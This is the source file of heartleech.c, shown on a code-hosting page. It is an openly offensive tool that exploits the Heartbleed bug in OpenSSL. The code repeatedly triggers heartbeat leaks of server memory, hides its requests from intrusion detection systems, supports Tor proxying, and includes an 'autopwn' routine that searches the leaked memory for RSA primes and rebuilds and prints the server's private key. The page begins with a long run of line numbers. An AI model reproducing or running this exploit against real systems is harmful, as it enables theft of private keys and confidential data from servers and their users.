-
Notifications
You must be signed in to change notification settings - Fork 144
/
heartleech.c
3247 lines (2875 loc) · 99 KB
/
heartleech.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
HEARTLEECH
A program for exploiting Neel Mehta's "HeartBleed" bug. This program has
the following features:
[IDS-EVASION] Many IDSs trigger on the pattern |18 03| transmitted as the
first two bytes of the TCP payload. This program buries that pattern
deeper in the payload in the to-server direction, evading the IDS for
incoming packets. However, it can't control the responses well, so
IDSs will often detect responses in the from-server direction.
[SAFE/VULNERABLE/INCONCLUSIVE] When doing a `--scan` to simply test if the
target is vulnerable, system are only marked "SAFE" is the system knows
for sure that they are safe, such as if they are patched or don't support
heartbeats. Otherwise, systems are marked "INCONCLUSIVE" (or, of course,
"VULNERABLE" if they respond with a bleed).
[ENCRYPTION] Most tools do heartbleeds during the handshake, unencrypted.
This tool does the heartbleed post-handshake, when it's encrypted. This
means this tool has to be compiled/linked with an OpenSSL library, which
is the main difficulty using the tool.
[LOOPING] This tool doesn't do a single bleed, but loops doing the request
over and over, generating large dump files that can be post-processed to
find secrets.
[Socks5n] This tool supports the Socks5n proxying for use with Tor.
It embeds the hostname inside the Socks protocol, meaning that no DNS
lookup happens from this this machine. Instead, the Tor exit server is
responsible for the DNS lookup.
[IPV6] This tool fully supports IPv6, including for such things as
proxying. Indeed, if the an AAAA record is the first record to come
back, then you may be using IPv6 without realizing it.
[ASYNC/MEM-BIO] Normally, OpenSSL takes care of the underlying sockets
connections for you. In this program, in order to support things like
IDS evasion, proxying, and STARTTLS, the program has to deal with sockets
separately. It's good sample code for working with this mode of OpenSSL.
*/
/*
* Legacy Windows stuff
*/
#define _CRT_SECURE_NO_WARNINGS 1
#if defined(WIN32)
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <intrin.h>
#include <process.h>
#define snprintf _snprintf
#define sleep(secs) Sleep(1000*(secs))
#define WSA(err) (WSA##err)
#define strdup _strdup
#define dlopen(name, flags) LoadLibraryA(name)
#define dlsym(handle, name) (void (*)(void))GetProcAddress(handle, name)
typedef CRITICAL_SECTION pthread_mutex_t;
#define pthread_mutex_lock(p) EnterCriticalSection(p)
#define pthread_mutex_unlock(p) LeaveCriticalSection(p)
#define pthread_mutex_init(p,q) InitializeCriticalSection(p)
typedef uintptr_t pthread_t;
#define __sync_fetch_and_add(p,n) InterlockedExchangeAdd(p, n)
#define __sync_fetch_and_sub(p,n) InterlockedExchangeAdd(p, -(n))
#define pthread_create(handle,x,pfn,data) (*(handle)) = _beginthread(pfn,0,data)
#define usleep(microseconds) Sleep((microseconds)/1000)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <dlfcn.h>
#include <pthread.h>
#define WSAGetLastError() (errno)
#define closesocket(fd) close(fd)
#define WSA(err) (err)
#endif
#if defined(_MSC_VER)
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "libeay32.lib")
#pragma comment(lib, "ssleay32.lib")
#endif
#include <ctype.h>
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
/*
* OpenSSL specific includes. We also define an OpenSSL internal
* function that is normally not exposed in include files, so
* that we can format our 'bleed' manually.
*/
#include <openssl/ssl.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/rsa.h>
/*
* This is an internal function, not declared in headers, we we
* have to declare our own version
*/
int ssl3_write_bytes(SSL *s, int type, const void *buf_, int len);
#ifndef TLS1_RT_HEARTBEAT
#error You are using the wrong version of OpenSSL headers.
#endif
/*
* Portability note for 'send()':
* - Windows doesn't generate signals on send failures
* - Mac/BSD needs a setsockopt
* - Linux needs this parameter to 'send()'
*/
#if !defined(MSG_NOSIGNAL)
#define MSG_NOSIGNAL 0
#endif
/*
* Use '-d' option to get more verbose debug logging while running
* the scan
*/
int is_debug = 0;
int is_scan = 0;
/**
* The "scan-result" verdict, whether the system is vulnerable, safe, or
* inconclusive
*/
enum {
Verdict_Unknown = 0,
Verdict_Safe,
Verdict_Vulnerable,
Verdict_Inconclusive,
Verdict_Inconclusive_NoTcp,
Verdict_Inconclusive_NoSsl,
Verdict_Inconclusive_NoDNS,
};
/**
* Some PCRE patterns for search content
*/
struct CapturePatterns {
struct pcre **pat;
struct pcre_extra **extra;
size_t count;
};
/**
* Per connection data that is flushed at the end of the connection
*/
struct Connection {
const struct DumpArgs *args;
struct Target *target;
struct {
unsigned attempted; /* incremented when we transmit */
unsigned succeeded; /* incremented when BLEED received */
unsigned failed; /* incremented when BEAT received */
} heartbleeds;
struct {
unsigned bytes_expecting;
unsigned bytes_received;
} event;
unsigned is_alert:1;
unsigned is_sent_good_heartbeat:1;
size_t buf2_count;
unsigned char buf2[70000];
};
/**
* The type of handshake to do, such as SMTP STARTTLS
*/
enum {
APP_NONE,
APP_FTP,
APP_SMTP,
APP_HTTP,
APP_POP3,
APP_IMAP4,
APP_LDAP,
APP_NNTP,
APP_ACAP,
APP_POSTGRES,
APP_XMPP,
APP_TELNET,
APP_IRC,
APP_SNMP,
};
/**
* Default handshake types for some well-known ports
*/
struct Applications {
unsigned port;
unsigned is_starttls;
unsigned type;
} default_protos[] = {
{ 21, 1, APP_FTP},
{ 25, 1, APP_SMTP},
{ 80, 1, APP_HTTP},
{ 110, 1, APP_POP3},
{ 143, 1, APP_IMAP4},
{ 389, 1, APP_LDAP},
{ 433, 1, APP_NNTP},
{ 443, 0, APP_HTTP},
{ 465, 0, APP_SMTP},
{ 563, 0, APP_NNTP},
{ 587, 1, APP_SMTP},
{ 636, 0, APP_LDAP},
{ 674, 1, APP_ACAP},
//{ 989, 0, APP_FTP_DATA}, //source port, not dest port
{ 990, 0, APP_FTP}, /* command channel */
{ 992, 0, APP_TELNET},
{ 993, 0, APP_IMAP4},
{ 994, 0, APP_IRC},
{ 995, 0, APP_POP3},
{5222, 1, APP_XMPP}, /* http://xmpp.org/extensions/xep-0035.html */
{5269, 1, APP_XMPP}, /* http://xmpp.org/extensions/xep-0035.html */
{5432, 1, APP_POSTGRES},
{10161, 0, APP_SNMP}, /* SNMP over (D)TLS RFC 5953 test.net-snmp.org */
{10162, 0, APP_SNMP}, /* traps listener */
{0,0,0}
};
unsigned
port_to_app(unsigned port, unsigned *is_starttls)
{
unsigned i;
for (i=0; default_protos[i].type; i++) {
if (default_protos[i].port == port) {
*is_starttls = default_protos[i].is_starttls;
return default_protos[i].type;
}
}
return 0;
}
/**
* Structure for one fo the targets that we are scanning
*/
struct Target {
char *hostname;
unsigned port;
struct {
unsigned desired;
unsigned done;
} loop;
int scan_result;
char *http_request;
unsigned starttls;
unsigned application;
BIGNUM n;
BIGNUM e;
};
struct TargetList {
size_t count;
size_t max;
struct Target *list;
};
/**
* Which operation we are performing
*/
enum Operation {
Op_None,
Op_Error,
Op_Dump,
Op_Autopwn,
Op_Scan,
Op_Offline,
};
/**
* Arguments for the heartbleed callback function. We read these from the
* command line and pass them to the threads
*/
struct DumpArgs {
pthread_mutex_t mutex;
enum Operation op;
unsigned is_scan:1;
FILE *fp;
char *cert_filename;
char *dump_filename;
char *offline_filename;
unsigned timeout;
unsigned cfg_loopcount;
int handshake_type;
unsigned is_error;
unsigned is_auto_pwn;
unsigned is_rand_size;
unsigned ip_ver;
unsigned is_raw;
unsigned long long total_bytes;
struct {
char *host;
unsigned port;
} proxy;
struct TargetList targets;
unsigned default_port;
struct CapturePatterns patterns;
struct {
unsigned desired; /* number of desired threads, configed */
volatile unsigned running; /* number of threads actually started */
} threads;
};
static void print_status(const struct DumpArgs *args)
{
static time_t last_status = 0;
static unsigned long long last_total_bytes = 0;
if (last_status + 1 <= time(0)) {
if (!args->is_scan)
fprintf(stderr, "%llu bytes downloaded (%5.3f-mbps)\r",
args->total_bytes,
((args->total_bytes-last_total_bytes)*8.0)/1000000.0 );
last_status = time(0);
last_total_bytes = args->total_bytes;
}
}
/******************************************************************************
******************************************************************************/
int ERROR_MSG(const char *fmt, ...)
{
va_list marker;
if (is_scan && !is_debug)
return -1;
va_start(marker, fmt);
vfprintf(stderr, fmt, marker);
va_end(marker);
return -1;
}
int DEBUG_MSG(const char *fmt, ...)
{
va_list marker;
if (!is_debug)
return -1;
va_start(marker, fmt);
vfprintf(stderr, fmt, marker);
va_end(marker);
return -1;
}
/******************************************************************************
* Prints a typical hexdump, for debug purposes.
******************************************************************************/
static void
hexdump(const unsigned char *buf, size_t len)
{
size_t i;
for (i=0; i<len; i += 16) {
size_t j;
printf("%04x ", (unsigned)i);
for (j=i; j<len && j<i+16; j++) {
printf("%02x ", buf[j]);
}
for ( ; j<i+16; j++)
printf(" ");
for (j=i; j<len && j<i+16; j++) {
if (buf[j] == ' ')
printf("%c", buf[j]);
else if (isprint(buf[j]) && !isspace(buf[j]))
printf("%c", buf[j]);
else
printf(".");
}
printf("\n");
}
}
/******************************************************************************
******************************************************************************/
struct pcre;
struct pcre_extra;
typedef struct pcre *(*PCRE_compile)(const char *pattern, int options,
const char **errptr, int *erroffset,
const unsigned char *tableptr);
typedef int (*PCRE_exec)(const struct pcre *code,
const struct pcre_extra *extra, const char *subject, int length,
int startoffset, int options, int *ovector, int ovecsize);
typedef struct pcre_extra *(*PCRE_study)(const struct pcre *code, int options,
const char **errptr);
typedef const char *(*PCRE_version)(void);
struct PCRE {
PCRE_compile compile;
PCRE_exec exec;
PCRE_version version;
PCRE_study study;
} PCRE;
/******************************************************************************
******************************************************************************/
static void
pattern_add(struct CapturePatterns *pats, const char *pattern)
{
struct pcre *p;
struct pcre_extra *extra;
const char *err;
int err_offset;
if (PCRE.version == NULL)
return;
p = PCRE.compile(pattern, 0, &err, &err_offset, 0);
if (p == NULL) {
int i;
fprintf(stderr, "PCRE: %s\n", err);
fprintf(stderr, " %s\n", pattern);
for (i=0; i<6+err_offset; i++)
fprintf(stderr, " ");
fprintf(stderr, "^\n");
return;
}
extra = PCRE.study(p, 0, &err);
if (pats->count == 0) {
pats->pat = malloc(sizeof(p));
pats->extra = malloc(sizeof(extra));
} else {
pats->pat = realloc(pats->pat, sizeof(p) * (pats->count+1));
pats->extra = realloc(pats->extra, sizeof(extra) * (pats->count+1));
}
pats->pat[pats->count] = p;
pats->extra[pats->count] = extra;
pats->count++;
}
/******************************************************************************
* Load the PCRE library for capturing patterns.
******************************************************************************/
static void
load_pcre(void)
{
void *h;
const char *library_names[] = {
#if defined(__linux__)
"libpcre.so",
#elif defined(WIN32)
"pcre3.dll",
#else
"libpcre.dylib",
#endif
0 };
size_t i;
/* look for a PCRE library */
for (i=0; library_names[i]; i++) {
h = dlopen(library_names[i], RTLD_LAZY);
if (h)
break;
#ifndef WIN32
fprintf(stderr, "%s: %s\n", library_names[i], dlerror());
#endif
}
if (h == NULL)
return;
/* load symbols */
PCRE.compile = (PCRE_compile)dlsym(h, "pcre_compile");
if (PCRE.compile == NULL) {
perror("pcre_compile");
return;
}
PCRE.study = (PCRE_study)dlsym(h, "pcre_study");
if (PCRE.study == NULL) {
perror("pcre_study");
return;
}
PCRE.exec = (PCRE_exec)dlsym(h, "pcre_exec");
if (PCRE.exec == NULL) {
perror("pcre_exec");
return;
}
PCRE.version = (PCRE_version)dlsym(h, "pcre_version");
if (PCRE.version == NULL) {
perror("pcre_version");
return;
}
fprintf(stderr, "PCRE library: %s\n", PCRE.version());
}
void connection_buf_init(struct Connection *connection)
{
connection->buf2_count = 0;
}
void connection_buf_append(struct Connection *connection, const void *buf, size_t length)
{
if (length > sizeof(connection->buf2) - connection->buf2_count)
length = sizeof(connection->buf2) - connection->buf2_count;
memcpy(connection->buf2 + connection->buf2_count, buf, length);
connection->buf2_count += length;
}
/******************************************************************************
* This is the "callback" that receives the hearbeat data. Since
* hearbeat is a control function and not part of the normal data stream
* it can't be read normally. Instead, we have to install a hook within
* the OpenSSL core to intercept them.
******************************************************************************/
static void
receive_heartbeat(int write_p, int version, int content_type,
const void *vbuf, size_t len, SSL *ssl,
void *arg)
{
struct Connection *connection = (struct Connection *)arg;
struct Target * target = connection->target;
const struct DumpArgs *args = connection->args;
const unsigned char *buf = (const unsigned char *)vbuf;
/*
* Ignore anything that isn't a "hearbeat". This function hooks
* every OpenSSL-internal message, but we only care about
* the hearbeats.
*/
switch (content_type) {
case SSL3_RT_CHANGE_CIPHER_SPEC: /* 20 */
case SSL3_RT_HANDSHAKE: /* 22 */
case SSL3_RT_APPLICATION_DATA: /* 23 */
case 256: /* ???? why this? */
return;
case SSL3_RT_ALERT: /* 21 */
if (buf[0] == 2) {
DEBUG_MSG("[-] ALERT fatal %u len=%u\n", buf[1], len);
} else {
switch (buf[1]) {
case SSL3_AD_CLOSE_NOTIFY:
DEBUG_MSG("[-] ALERT warning: connection closing\n");
break;
default:
DEBUG_MSG("[-] ALERT warning %u len=%u\n", buf[1], len);
break;
}
}
connection->is_alert = 1;
return;
case TLS1_RT_HEARTBEAT:
break; /* handle below */
default:
ERROR_MSG("[-] msg_callback:%u: unknown type seen\n", content_type);
return;
}
/* Record how many bytes we've received, so that we can known when we've
* received all the heartbeat */
connection->event.bytes_received += len;
/*
* See if this is a "good" heartbeat, which we send to probe
* the system in order to see if it's been patched.
*/
if (connection->is_sent_good_heartbeat && len < 60) {
static const char *good_response =
"\x02\x00\x12"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
;
if (memcmp(buf, good_response, 0x12+3) == 0) {
ERROR_MSG("[-] PATCHED: heartBEAT received, but not BLEED\n");
connection->heartbleeds.failed++;
target->scan_result = Verdict_Safe;
return;
}
}
/*
* Inform user that we got some bleeding data
*/
DEBUG_MSG("[+] %5u-bytes bleed received\n", (unsigned)len);
/*
* Copy this to the buffer
*/
connection_buf_append(connection, buf, len);
/*
* Display bytes if not dumping to file
*/
if (!args->fp && is_debug && !args->is_scan) {
hexdump(buf, len);
}
/* Count this, to verify that bleeds are working */
connection->heartbleeds.succeeded++;
}
/******************************************************************************
* Wrapper function for printing addresses, since the standard
* "inet_ntop()" function doesn't automatically grab the 'family' from
* the socket structure to begin with
******************************************************************************/
static const char *
my_inet_ntop(struct sockaddr *sa, char *dst, size_t sizeof_dst)
{
#if defined(WIN32)
/* WinXP doesn't have 'inet_ntop()', but it does have another WinSock
* function that takes care of this for us */
{
DWORD len = (DWORD)sizeof_dst;
WSAAddressToStringA(sa, sizeof(struct sockaddr_in6), NULL,
dst, &len);
}
#else
switch (sa->sa_family) {
case AF_INET:
inet_ntop(AF_INET, &(((struct sockaddr_in *)sa)->sin_addr),
dst, sizeof_dst);
break;
case AF_INET6:
inet_ntop(AF_INET6, &(((struct sockaddr_in6 *)sa)->sin6_addr),
dst, sizeof_dst);
break;
default:
dst[0] = '\0';
}
#endif
return dst;
}
/******************************************************************************
* WinXP doesn't have standard 'inet_pton' function, we put this work around
* here
******************************************************************************/
#if defined(WIN32)
int
x_inet_pton(int family, const char *hostname, struct sockaddr *sa)
{
int sizeof_sa;
int x;
switch (family) {
case AF_INET: sizeof_sa = sizeof(struct sockaddr_in); break;
case AF_INET6: sizeof_sa = sizeof(struct sockaddr_in6); break;
default: sizeof_sa = sizeof(struct sockaddr); break;
}
x = WSAStringToAddressA(
(char*)hostname,
family,
NULL,
sa,
&sizeof_sa);
/* Windows and Unix function disagree on success/failure codes */
if (x == 0)
return 1;
else
return 0;
}
#define inet_pton x_inet_pton
#endif
/******************************************************************************
* Parse a network address, converting the text form into a binary form.
* Note that this is designed for use with the Sock5n implementation, so
* it's not a general purpose function.
******************************************************************************/
static size_t
my_inet_pton(const char *hostname,
unsigned char *dst, size_t offset, size_t max,
unsigned char *type)
{
size_t len;
#if defined(WIN32)
if (max-offset >= sizeof(struct sockaddr_in)) {
struct sockaddr_in sin;
if (inet_pton(AF_INET, hostname, (struct sockaddr*)&sin) == 1) {
memcpy(&dst[offset], &sin.sin_addr, 4);
*type = 1; /* socks5 type = IPv4 */
return offset + 4;
}
}
#else
if (max-offset >= 4
&& inet_pton(AF_INET, hostname, &dst[offset]) == 1) {
*type = 1; /* socks5 type = IPv4 */
return offset + 4;
}
#endif
#if defined(WIN32)
if (max-offset >= 16) {
struct sockaddr_in6 sin6;
if (inet_pton(AF_INET6, hostname, (struct sockaddr*)&sin6) == 1) {
memcpy(&dst[offset], &sin6.sin6_addr, 16);
*type = 4; /* socks5 type = IPv6*/
return offset + 16;
}
}
#else
if (max-offset >= 16
&& inet_pton(AF_INET6, hostname, &dst[offset]) == 1) {
*type = 4; /* socks5 type = IPv6*/
return offset + 16;
}
#endif
len = strlen(hostname);
if (offset + len + 1 <= max) {
dst[offset] = (unsigned char)len;
memcpy(&dst[offset+1], hostname, len);
}
*type = 3; /*socks5 type = domainname */
return offset + len + 1;
}
/******************************************************************************
* Given two primes, generate an RSA key. From RFC 3447 Appendix A.1.2
*
RSAPrivateKey ::= SEQUENCE {
version Version,
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
}
******************************************************************************/
static RSA *
rsa_gen(const BIGNUM *p, const BIGNUM *q, const BIGNUM *e)
{
BN_CTX *ctx = BN_CTX_new();
RSA *rsa = RSA_new();
BIGNUM p1[1], q1[1], r[1];
BN_init(p1);
BN_init(q1);
BN_init(r);
rsa->p = BN_new();
BN_copy(rsa->p, p);
rsa->q = BN_new();
BN_copy(rsa->q, q);
rsa->e = BN_new();
BN_copy(rsa->e, e);
/*
* n - modulus (should be same as original cert, but we
* recalculate it here
*/
rsa->n = BN_new();
BN_mul(rsa->n, rsa->p, rsa->q, ctx);
/*
* d - the private exponent
*/
rsa->d = BN_new();
BN_sub(p1, rsa->p, BN_value_one());
BN_sub(q1, rsa->q, BN_value_one());
BN_mul(r,p1,q1,ctx);
BN_mod_inverse(rsa->d, rsa->e, r, ctx);
/* calculate d mod (p-1) */
rsa->dmp1 = BN_new();
BN_mod(rsa->dmp1, rsa->d, p1, ctx);
/* calculate d mod (q-1) */
rsa->dmq1 = BN_new();
BN_mod(rsa->dmq1, rsa->d, q1, ctx);
/* calculate inverse of q mod p */
rsa->iqmp = BN_new();
BN_mod_inverse(rsa->iqmp, rsa->q, rsa->p, ctx);
BN_free(p1);
BN_free(q1);
BN_free(r);
BN_CTX_free(ctx);
return rsa;
}
/******************************************************************************
* This function searches a buffer looking for a prime that is a factor
* of the public key
******************************************************************************/
static int
find_private_key(const BIGNUM n, const BIGNUM e,
const unsigned char *buf, size_t buf_length)
{
size_t i;
int prime_length = n.top * sizeof(BN_ULONG);
BN_CTX *ctx;
BIGNUM p;
BIGNUM q;
BIGNUM remainder;
BN_init(&q);
BN_init(&remainder);
BN_init(&p);
/* Need enough target data to hold at least one prime number */
if (buf_length < (size_t)prime_length)
return 0;
ctx = BN_CTX_new();
/* Go forward one byte at a time through the buffer */
for (i=0; i<buf_length-prime_length; i++) {
/* Grab a possible little-endian prime number from the buffer.
* [NOTE] this assumes the target machine and this machine have
* roughly the same CPU (i.e. x86). If the target machine is
* a big-endian SPARC, but this machine is a little endian x86,
* then this technique won't work.*/
p.d = (BN_ULONG*)(buf+i);
p.dmax = n.top/2;
p.top = p.dmax;
/* [optimization] Only process odd numbers, because even numbers
* aren't prime. This doubles the speed. */
if (!(p.d[0]&1))
continue;
/* [optimization] Make sure the top bits aren't zero. Firstly,
* this won't be true for the large primes in question. Secondly,
* a lot of bytes in dumps are zeroed out, causing this condition
* to be true a lot. Not only does this quickly weed out target
* primes, it takes BN_div() a very long time to divide when
* numbers have leading zeroes
*/
if (p.d[p.top-1] == 0)
continue;
/* Do the division, grabbing the remainder */
BN_div(&q, &remainder, &n, &p, ctx);
if (!BN_is_zero(&remainder))
continue;
/* We have a match! Let's create an X509 certificate from this */
{
RSA *rsa;
BIO *out = BIO_new(BIO_s_file());
fprintf(stderr, "\n");
BIO_set_fp(out,stdout,BIO_NOCLOSE);
rsa = rsa_gen(&p, &q, &e);
PEM_write_bio_RSAPrivateKey(out, rsa, NULL, NULL, 0, NULL, NULL);
/* the program doesn't need to continue */
exit(0);
}
}
BN_free(&q);
BN_free(&remainder);
BN_CTX_free(ctx);
return 0;
}
/******************************************************************************
* After reading a chunk of data, this function will process that chunk.
* There are three things we might do with that data:
* 1. save to a file for later offline processing
* 2. search for private key
* 3. hexdump to the command-line
******************************************************************************/
static size_t
process_bleed(const struct DumpArgs *args_in,
const unsigned char *buf, size_t buf_size,
BIGNUM n, BIGNUM e)
{
struct DumpArgs *args = (struct DumpArgs*)args_in;
size_t x;
/* ignore empty chunks */
if (buf_size == 0)
return 0;
pthread_mutex_lock(&args->mutex);
/* track total bytes processed, for printing to the command-line */
args->total_bytes += buf_size;
/* write a copy of the bleeding data to a file for offline processing
* by other tools */
if (args->fp) {
x = fwrite(buf, 1, buf_size, args->fp);
if (x != buf_size) {
ERROR_MSG("[-] %s: %s\n", args->dump_filename, strerror(errno));
}
}
/* do a live analysis of the bleeding data */
if (args->is_auto_pwn) {
if (find_private_key(n, e, buf, buf_size)) {
; //printf("key found!\n");
//exit(1);
}
}
pthread_mutex_unlock(&args->mutex);
return buf_size;
}
/******************************************************************************
* Parse details from a certificate. We use this in order to grab
* the 'modulus' from the certificate in order to crack it with
* patterns found in memory. This is called in two places. One is when
* we get the certificate from the server when connecting to it.
* The other is offline cracking from files.
**************************************************&&**************************/
static void
parse_cert(X509 *cert, char name[512], BIGNUM *modulus, BIGNUM *e)
{
X509_NAME *subj;
EVP_PKEY *rsakey;
/* we grab the server's name for debugging perposes */
subj = X509_get_subject_name(cert);
if (subj) {
int len;
len = X509_NAME_get_text_by_NID(subj, NID_commonName,
name, 512);
if (len > 0) {
name[255] = '\0';
DEBUG_MSG("[+] servername = %s\n", name);
}
}
/* we grab the 'modulus' (n) and the 'public exponenet' (e) for use
* with private key search in the data */
rsakey = X509_get_pubkey(cert);
if (rsakey && rsakey->type == 6) {
BIGNUM *n = rsakey->pkey.rsa->n;
memcpy(modulus, n, sizeof(*modulus));
memcpy(e, rsakey->pkey.rsa->e, sizeof(*e));
DEBUG_MSG("[+] RSA public-key length = %u-bits\n",
n->top * sizeof(BN_ULONG) * 8);
}
}
/******************************************************************************
* Translate sockets error codes to helpful text for printing
******************************************************************************/
static const char *
error_msg(unsigned err)
{
switch (err) {
case WSA(ECONNRESET): return "TCP connection reset";
case WSA(ECONNREFUSED): return "Connection refused";
case WSA(ETIMEDOUT): return "Timed out";
case WSA(ECONNABORTED): return "Connection aborted";
case 0: return "TCP connection closed";
default: return "network error";
}
}